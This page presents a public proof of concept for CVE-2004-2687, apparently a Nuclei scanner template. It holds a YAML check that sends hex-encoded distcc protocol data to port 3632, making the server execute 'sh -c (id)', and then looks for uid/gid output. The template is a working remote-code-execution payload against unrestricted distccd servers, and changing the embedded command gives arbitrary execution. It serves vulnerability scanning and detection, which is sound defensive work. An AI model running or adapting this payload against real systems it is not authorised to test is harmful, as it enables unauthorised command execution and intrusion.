CVE-2004-2687: Distccd v1 - Remote Code Execution

2025-08-01 Distccd v1 PoC Public

Description

distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.

PoC

id: CVE-2004-2687

info:
  name: Distccd v1 - Remote Code Execution
  author: pussycat0x
  severity: high
  description: |
    distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.
  reference:
    - http://distcc.samba.org/security.html
    - http://lists.samba.org/archive/distcc/2004q3/002550.html
    - http://lists.samba.org/archive/distcc/2004q3/002562.html
    - https://github.com/crypticdante/distccd_rce_CVE-2004-2687
    - https://github.com/gwyomarch/Lame-HTB-Writeup-FR
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:C/I:C/A:C
    cvss-score: 9.3
    cve-id: CVE-2004-2687
    cwe-id: CWE-16
    epss-score: 0.8951
    epss-percentile: 0.99523
    cpe: cpe:2.3:a:apple:xcode:1.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2004,network,rce,distccd,vuln

tcp:
  - inputs:
      - data: 444953543030303030303031
        type: hex
      - data: 41524743303030303030303841524756303030303030303273684152475630303030303030322d634152475630303030303030637368202d6320272869642927415247563030303030303031234152475630303030303030322d634152475630303030303030366d61696e2e634152475630303030303030322d6f4152475630303030303030366d61696e2e6f444f5449303030303030303141
        type: hex
    host:
      - "{{Hostname}}"
    port: 3632

    matchers:
      - type: regex
        part: raw
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
# digest: 490a00463044022067467f211b6bf094643ead41220be804bfbf1e1400f8f775fda54487e3b580a802205bf2878e26b68c4c11ee95b499d51e68a0efc0ee226b9074ac0b8fff8f6b86c2:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/network/cves/2004/CVE-2004-2687.yaml

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